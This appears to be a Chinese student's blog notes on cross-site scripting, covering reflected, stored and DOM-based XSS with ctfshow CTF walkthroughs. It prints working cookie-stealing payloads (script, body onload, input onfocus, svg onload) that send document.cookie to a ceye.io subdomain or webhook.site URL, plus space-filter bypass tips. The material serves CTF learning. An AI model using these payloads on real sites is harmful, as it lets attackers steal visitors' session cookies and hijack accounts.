XSS知识点初步汇总
学一下XSS,学习并记录
根据以下文章学习 XSS漏洞(全网最详细)-CSDN博客
XSS漏洞及其原理(详解)_xss漏洞原理-CSDN博客
ctfshow_web316-326_反射型XSS_ctfshow316-CSDN博客
目录
什么是XSS漏洞
XSS漏洞的分类
反射性XSS
例题ctfshow_web316
过滤手法
存储型XSS
例题ctfshow_web327
DOM型XSS
小结
什么是XSS漏洞
XSS,即跨站脚本攻击,指用户将恶意JavaScript代码注入到网页当中,网页会执行这些恶意代码,从而形成漏洞。
可以理解为网站的注入攻击,将恶意脚本注入到网页,别的用户访问时,浏览器就会对网页进行解析执行,达到攻击网站的其它访问者。
所以xss的攻击对象并不是网页,而是访问网页的人(盗取cookie啥的)。
XSS漏洞的分类
反射性XSS
反射型XSS是非持久性、参数型跨站脚本。
此时js恶意代码是存在于某个参数中,通过url后缀进行get传入,当其他用户点进这个被精心构造的url链接时,恶意代码就会被解析,从而盗取用户信息。
举个例子:
例题ctfshow_web316
对于CTF的XSS题目来说,重要的不是如何注入js恶意代码,而是如何获取flag,刚刚上面讲了,XSS攻击的不是网站,盗取的不是网站的信息,而是访问页面的人。
ctfshow的题目里有个机器人隔一段时间就会访问这个页面,解析你的pyload,这里它就充当了受害者,flag就在它的cookie中。
所以,我们构造
<script>
var img=document.createElement("img"); img.src="网址"+document.cookie;
</script>
意思就是,生成一个img对象,然后加载一张图片,并携带上当前的cookie,一并发往“网址”中
那么网址从哪儿来呢?
这里有三个方法
1.自己的服务器
2.网上现有的平台,如CEYE - Monitor service for security testing,Webhook.site - Test, transform and automate Web requests and emails
3.xss平台,如XSS Platform
我没有自己的服务器,然后xss平台没有成功过,这里就用第二种方法
值得注意的是,如果用的是ceye的话,这里才是正确的域名
如果用的是webhook,那么网站在这里
所以构造以下pyload
#如果是ceye
<script>
var img=document.createElement("img"); img.src="http://2fu4td.ceye.io/"+document.cookie;
</script>
#如果是webhook
<script>
var img=document.createElement("img"); img.src="https://webhook.site/50be7301-a916-4df1-a04f-3e4513569671"+document.cookie;
</script>
那么这道题目就解决啦
过滤手法
常用的pyload有以下几种,还有的没写可以跳转
ctfshow_web316-326_反射型XSS_ctfshow316-CSDN博客
#script
<script>var img=document.createElement("img"); img.src="网址"+document.cookie;</script>
#body
<body onload="window.open('网址'+document.cookie)">
#input
<input onfocus="window.open('网址'+document.cookie)" autofocus>
#svg
<svg onload="window.open('http://....ceye.io/'+document.cookie)">
#什么意思不重要,作用都是把cookie带去那个网站里
空格的话可以用Tab键,/**/和/代替
存储型XSS
存储型XSS字如其名,js代码会被存储在网页的数据库中,比如说留言板。这类XSS漏洞的危害较大,只要用户查看了恶意用户的留言,就会被盗取信息
实现方法其实差不多,这里不多赘述
不过在ctfshow里,该类型的题目还有点绕,这里也举一个例子
例题ctfshow_web327
过一遍所有可能的功能之后,发现有登录系统,注册系统,查看用户等功能
我们注册用户,用户名随便,密码使用构造的js代码,然后用这个登录账号和密码登录,之后会接受到,我们得到这个cookie之后,替换掉我们的cookie
js代码用上面给过的就行
DOM型XSS
DOM是文档对象模型,JavaScript会按照这个模型对界面进行增删改查。DOM型XSS就是修改页面中的DOM树,并不会传到服务器中,所以DOM型XSS是一种纯粹的前端漏洞,通常也是通过构造url实现
额,ctfshow里并没有类似的题目,这里也就不多赘述了
小结
XSS漏洞大概就是这样,学习的时候遇到的大难点就是如何把cookie带出来,研究了很久也是差不多结束了,之后会和ssti一起刷刷题目,还会出一篇博客